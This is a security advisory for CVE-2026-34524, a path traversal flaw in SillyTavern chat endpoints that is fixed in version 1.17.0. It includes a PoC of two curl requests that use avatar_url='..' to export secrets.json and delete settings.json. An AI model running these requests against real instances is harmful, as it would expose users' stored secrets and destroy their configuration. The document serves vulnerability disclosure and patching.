CVE-2026-34524

Description

## Summary A Path Traversal vulnerability in chat endpoints allows an authenticated attacker to read and delete arbitrary files under their user data root (for example `secrets.json` and `settings.json`) by supplying `avatar_url=".."`. ### Details The input validator used by `avatar_url` blocks only `/` and NUL bytes, but does not block traversal segments like `..`. Evidence: - Weak validator regex (does not reject `..`): <https://github.com/SillyTavern/SillyTavern/blob/b7bb8be35a5c779b4db12a4a5b94d7e49096071c/src/middleware/validateFileName.js#L24-L27> - Vulnerable delete path construction: <https://github.com/SillyTavern/SillyTavern/blob/b7bb8be35a5c779b4db12a4a5b94d7e49096071c/src/endpoints/chats.js#L575-L577> - Vulnerable export path construction: <https://github.com/SillyTavern/SillyTavern/blob/b7bb8be35a5c779b4db12a4a5b94d7e49096071c/src/endpoints/chats.js#L595-L598> - Endpoint auth context (authenticated user access): <https://github.com/SillyTavern/SillyTavern/blob/b7bb8be35a5c779b4db12a4a5b94d7e49096071c/src/server-main.js#L239> Because `avatar_url=".."` is accepted, `path.join(<user>/chats, "..")` resolves to `<user>/`, enabling direct access to files outside the chats directory. ### PoC Prerequisites: - Valid authenticated session cookie (`cookie.txt`) - Valid CSRF token (`$TOKEN`) Read sensitive file (`secrets.json`): ```bash curl -b cookie.txt -H "x-csrf-token: $TOKEN" -H "content-type: application/json" \ -d '{"avatar_url":"..","is_group":false,"file":"secrets.json","format":"jsonl","exportfilename":"x"}' \ http://TARGET:8000/api/chats/export ``` Delete sensitive file (`settings.json`): ```bash curl -b cookie.txt -H "x-csrf-token: $TOKEN" -H "content-type: application/json" \ -d '{"avatar_url":"..","chatfile":"settings.json"}' \ http://TARGET:8000/api/chats/delete ``` ### Impact - Confidentiality: exposed per-user secrets and config data. - Integrity/Availability: attacker can delete critical per-user files and break account operation. - Risk is significant in multi-user or remotely reachable deployments. ### Resolution The issue was addressed in version 1.17.0

Priority Score